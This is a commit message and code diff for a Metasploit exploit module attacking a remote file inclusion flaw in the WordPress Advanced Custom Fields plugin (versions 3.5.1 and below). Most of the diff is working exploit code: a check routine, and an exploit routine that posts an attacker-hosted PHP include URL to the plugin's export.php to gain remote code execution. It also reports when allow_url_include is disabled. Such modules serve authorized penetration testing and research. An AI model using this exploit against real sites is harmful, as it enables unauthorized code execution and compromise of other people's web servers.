Multiple change for Juan

Incooperated changes as per Juan's suggestions.

- Removed redundant space option for the payload
- Doing the uri more intelligently
- Detecting allow_url_include being disabled and reporting it
- Moved to unix/webapp
- Removed redundant handler call
- Adding to description that this requires allow_url_include to be
enabled

modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb

@@ -20,7 +20,8 @@ class Metasploit3 < Msf::Exploit::Remote
 					This module exploits a remote file inclusion flaw in the WordPress
 				blogging software plugin known as Advanced Custom Fields. The vulnerability allows for
 				remote file inclusion and remote code execution via the export.php script. The
-				Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable.
+				Advanced Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit 
+				only works when the php option allow_url_include is set to On(Default Off).
 			},
 			'Author'         =>
 				[
@@ -40,7 +41,6 @@ class Metasploit3 < Msf::Exploit::Remote
 						{
 							'ConnectionType' => 'find',
 						},
-					'Space'       => 262144, # 256k
 				},
 			'Platform'       => 'php',
 			'Arch'           => ARCH_PHP,
@@ -58,10 +58,12 @@ class Metasploit3 < Msf::Exploit::Remote
 	def check
 		uri = target_uri.path
 		uri << '/' if uri[-1,1] != '/'
+		uri << datastore['PLUGINSPATH']
+		uri << '/' if uri[-1,1] != '/'
 
 		res = send_request_cgi({
 			'method' => 'POST',
-			'uri'    => "#{uri}#{datastore['PLUGINSPATH']}advanced-custom-fields/core/api.php"
+			'uri'    => "#{uri}advanced-custom-fields/core/api.php"
 		})
 
 		if res and res.code == 200
@@ -72,25 +74,24 @@ class Metasploit3 < Msf::Exploit::Remote
 	end
 
 	def php_exploit
-
 		uri = target_uri.path
 		uri << '/' if uri[-1,1] != '/'
-
-		plugin_path = "#{datastore['PLUGINSPATH']}advanced-custom-fields/core/actions/export.php"
+		uri << datastore['PLUGINSPATH']
+		uri << '/' if uri[-1,1] != '/'
 
 		print_status('Sending request')
 		res = send_request_cgi({
 			'method' => 'POST',
-			'uri'    => "#{uri}#{plugin_path}",
+			'uri'    => "#{uri}advanced-custom-fields/core/actions/export.php",
 			'data'   => "acf_abspath=#{php_include_url}"
 		})
 
-		if res and res.code != 200
+		if res and res.body =~ /allow_url_include/
+			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
+		elsif res.code != 200
 			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
 		end
 
-		handler
-
 	end
 
 end